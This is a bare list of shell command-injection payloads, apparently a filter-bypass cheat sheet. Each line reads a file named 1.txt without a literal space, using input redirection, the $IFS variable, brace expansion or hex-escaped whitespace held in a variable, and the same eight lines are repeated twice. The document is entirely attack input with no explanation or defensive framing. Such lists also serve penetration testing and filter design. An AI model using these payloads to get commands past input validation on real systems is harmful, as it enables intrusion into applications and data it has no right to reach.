cat<1.txt
cat$IFS$91.txt
cat${IFS}1.txt
cat<>1.txt
{cat,1.txt}
CMD=$’\x201.txt’&&cat$CMD
CMD=$’\x0a1.txt’&&cat$CMD
CMD=$’\x091.txt’&&cat$CMD
cat<1.txt
cat$IFS$91.txt
cat${IFS}1.txt
cat<>1.txt
{cat,1.txt}
CMD=$’\x201.txt’&&cat$CMD
CMD=$’\x0a1.txt’&&cat$CMD
CMD=$’\x091.txt’&&cat$CMD